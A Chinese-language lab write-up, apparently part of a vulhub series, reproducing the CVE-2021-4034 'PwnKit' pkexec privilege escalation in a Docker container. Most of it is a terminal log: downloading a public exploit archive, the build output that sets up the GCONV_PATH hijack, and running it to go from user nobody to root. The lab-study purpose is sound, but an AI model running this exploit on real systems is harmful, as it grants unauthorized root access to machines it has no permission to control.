【vulhub系列】CVE-2021-4034 Polkit `pkexec` 权限提升漏洞

新人笔者日常求关注，新人上路，大佬多多指点。谢谢。

文章目录

漏洞简介

环境搭建

漏洞复现

漏洞简介

Polkit（之前名为PolicyKit）是一个权限相关的套件，pkexec是其中用于以其他用户身份执行命令的工具，它具有suid权限。

当前版本的pkexec中没有正确处理参数和环境变量，导致攻击者可以利用这个Bug劫持环境变量GCONV_PATH，进而劫持动态链接库，以root身份执行任意代码。

该漏洞CVSS评分：7.8

危害等级：高危

环境搭建

1. 进入目标目录:cd /root/桌面/vulhub-master/polkit/CVE-2021-4034/

2. 打开dockers容器:

3. docker-compose build

4. docker-compose up -d

   示例：

因为笔者这里使用的是kali系统搭建的vulhub，所以要执行命令进入 Ubuntu的交互shell环境：

docker-compose run --rm cmd bash

此时，执行id命令可以看见，你是普通用户nobody：

示例：

漏洞复现

使用https://github.com/berdav/CVE-2021-4034来利用CVE-2021-4034：
POC:
nobody@51a8ffbcc711:/$ cd /tmp/
nobody@51a8ffbcc711:/tmp$ wget https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
--2022-10-02 08:07:44--  https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response...
^HRead error (Connection reset by peer) in headers.
Retrying.
--2022-10-02 08:08:07--  (try: 2)  https://github.com/berdav/CVE-2021-4034/archive/refs/heads/main.tar.gz
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://codeload.github.com/berdav/CVE-2021-4034/tar.gz/refs/heads/main [following]
--2022-10-02 08:08:07--  https://codeload.github.com/berdav/CVE-2021-4034/tar.gz/refs/heads/main
Resolving codeload.github.com (codeload.github.com)... 20.205.243.165
Connecting to codeload.github.com (codeload.github.com)|20.205.243.165|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [application/x-gzip]
Saving to: 'main.tar.gz'
main.tar.gz                        [ <=>                                               ]   4.08K  --.-KB/s    in 0s
2022-10-02 08:08:08 (24.9 MB/s) - 'main.tar.gz' saved [4176]
nobody@51a8ffbcc711:/tmp$
nobody@51a8ffbcc711:/tmp$ tar -zxvf main.tar.gz
CVE-2021-4034-main/
CVE-2021-4034-main/.gitignore
CVE-2021-4034-main/LICENSE
CVE-2021-4034-main/Makefile
CVE-2021-4034-main/README.md
CVE-2021-4034-main/cve-2021-4034.c
CVE-2021-4034-main/cve-2021-4034.sh
CVE-2021-4034-main/dry-run/
CVE-2021-4034-main/dry-run/Makefile
CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c
CVE-2021-4034-main/dry-run/pwnkit-dry-run.c
CVE-2021-4034-main/pwnkit.c
nobody@51a8ffbcc711:/tmp$ cd CVE-2021-4034-main/
nobody@51a8ffbcc711:/tmp/CVE-2021-4034-main$ ls
LICENSE  Makefile  README.md  cve-2021-4034.c  cve-2021-4034.sh  dry-run  pwnkit.c
nobody@51a8ffbcc711:/tmp/CVE-2021-4034-main$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
nobody@51a8ffbcc711:/tmp/CVE-2021-4034-main$ ls
'GCONV_PATH=.'   Makefile    cve-2021-4034     cve-2021-4034.sh   gconv-modules   pwnkit.so
LICENSE         README.md   cve-2021-4034.c   dry-run            pwnkit.c
nobody@51a8ffbcc711:/tmp/CVE-2021-4034-main$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
nobody@51a8ffbcc711:/tmp/CVE-2021-4034-main$ ./cve-2021-4034
# id
uid=0(root) gid=0(root) groups=0(root)

执行命令后查看id发现用户权限已提升到root级。

至此，复现结束。